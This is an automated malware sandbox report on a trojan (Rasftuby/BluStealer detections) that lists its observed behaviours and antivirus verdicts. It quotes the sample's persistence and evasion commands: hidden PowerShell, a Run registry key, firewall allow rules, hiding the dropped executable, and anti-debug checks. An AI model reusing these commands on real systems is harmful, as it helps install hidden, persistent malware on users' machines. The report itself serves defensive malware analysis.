wmi	SELECT * FROM Win32_ComputerSystem WHERE name="TEST22-PC"
wmi	SELECT * FROM Win32_PageFileSetting WHERE name="C:\\pagefile.sys"

A process created a hidden window (2 events)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW Aug. 18, 2023, 7:33 a.m.	show_type: 0 filepath_r: UuU.bat parameters: filepath: UuU.bat	1	1	0
CreateProcessInternalW Aug. 18, 2023, 7:34 a.m.	thread_identifier: 2740 thread_handle: 0x00000084 process_identifier: 2736 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: powershell -executionpolicy RemoteSigned -WindowStyle Hidden -file Add.ps1 filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000088	1	1	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Aug. 18, 2023, 7:34 a.m.	flags: 1158 family: 0	1	0	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (4 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW Aug. 18, 2023, 7:33 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Aug. 18, 2023, 7:33 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Aug. 18, 2023, 7:34 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Aug. 18, 2023, 7:34 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1

Yara rule detected in process memory (8 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Uses Windows utilities for basic Windows functionality (6 events)

cmdline	"C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=out action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\U&U.exe" enable=yes
cmdline	wmic pagefileset where name="C:\\pagefile.sys" set InitialSize=15000,MaximumSize=20000
cmdline	REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "U&U" /t REG_SZ /d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\U&U.exe" /F
cmdline	"C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=in action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\U&U.exe" enable=yes
cmdline	wmic computersystem where name="TEST22-PC" set AutomaticManagedPagefile=False
cmdline	"C:\Windows\system32\attrib.exe" +h "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\U&U.exe"

Executes one or more WMI queries which can be used to identify virtual machines (1 event)

wmi	SELECT * FROM Win32_ComputerSystem WHERE name="TEST22-PC"

Looks for the Windows Idle Time to determine the uptime (1 event)

Time & API	Arguments	Status	Return	Repeated
NtQuerySystemInformation Aug. 18, 2023, 7:34 a.m.	information_class: 8 (SystemProcessorPerformanceInformation)	1	0	0

A process attempted to delay the analysis task. (1 event)

description

U&U.exe tried to sleep 2728403 seconds, actually delayed analysis time by 2728403 seconds

Installs itself for autorun at Windows startup (1 event)

reg_key

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\U&U

reg_value

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\U&U.exe

Operates on local firewall's policies and settings (2 events)

cmdline	"C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=out action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\U&U.exe" enable=yes
cmdline	"C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=in action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\U&U.exe" enable=yes

Deletes executed files from disk (1 event)

file	C:\Users\test22\AppData\Local\Temp\HSTART.bat

One or more non-whitelisted processes were created (6 events)

parent_process	powershell.exe	martian_process	"C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=in action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\U&U.exe" enable=yes
parent_process	powershell.exe	martian_process	"C:\Windows\system32\cmd.exe"
parent_process	powershell.exe	martian_process	"C:\Windows\system32\attrib.exe" +h "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\U&U.exe"
parent_process	powershell.exe	martian_process	"C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=out action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\U&U.exe" enable=yes
parent_process	wscript.exe	martian_process	"C:\Users\test22\AppData\Local\Temp\UuU.bat"
parent_process	wscript.exe	martian_process	UuU.bat

Resumed a suspended thread in a remote process potentially indicative of process injection (4 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2144 resumed a thread in remote process 2232
Process injection	Process 2360 resumed a thread in remote process 2536
NtResumeThread Aug. 18, 2023, 7:33 a.m.	thread_handle: 0x00000290 suspend_count: 1 process_identifier: 2232	1	0	0
NtResumeThread Aug. 18, 2023, 7:34 a.m.	thread_handle: 0x00000084 suspend_count: 0 process_identifier: 2536	1	0	0

Creates a suspicious Powershell process (1 event)

option

-windowstyle hidden

value

Attempts to execute command with a hidden window

The processes wscript.exe, powershell.exe wrote an executable file to disk (4 events)

file	C:\Windows\SysWOW64\wscript.exe
file	C:\Windows\System32\netsh.exe
file	C:\Windows\System32\cmd.exe
file	C:\Windows\System32\attrib.exe

File has been identified by 28 AntiVirus engines on VirusTotal as malicious (28 events)

Bkav	W32.AIDetectMalware
MicroWorld-eScan	Trojan.Rasftuby.Gen.14
ALYac	Trojan.Rasftuby.Gen.14
Cybereason	malicious.14fbc0
Arcabit	Trojan.Rasftuby.Gen.14
VirIT	Trojan.Win32.MSIL_Heur.A
Elastic	malicious (high confidence)
Cynet	Malicious (score: 100)
APEX	Malicious
BitDefender	Trojan.Rasftuby.Gen.14
Sophos	Generic ML PUA (PUA)
VIPRE	Trojan.Rasftuby.Gen.14
McAfee-GW-Edition	BehavesLike.Win32.Generic.hc
FireEye	Generic.mg.95d977a14fbc0eb2
Emsisoft	Trojan.Rasftuby.Gen.14 (B)
SentinelOne	Static AI - Malicious SFX
Microsoft	Program:Win32/Wacapew.C!ml
GData	Trojan.Rasftuby.Gen.14
Google	Detected
AhnLab-V3	Malware/Win32.Generic.C4282229
MAX	malware (ai score=87)
Cylance	unsafe
Panda	Trj/Genetic.gen
Rising	Malware.Obfus/MSIL@AI.90 (RDM.MSIL2:+RN7WpmUgKMVlLkW6SFSAA)
Ikarus	Trojan-Spy.BluStealer
MaxSecure	Trojan.Malware.300983.susgen
DeepInstinct	MALICIOUS
CrowdStrike	win/malicious_confidence_90% (W)

Al.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All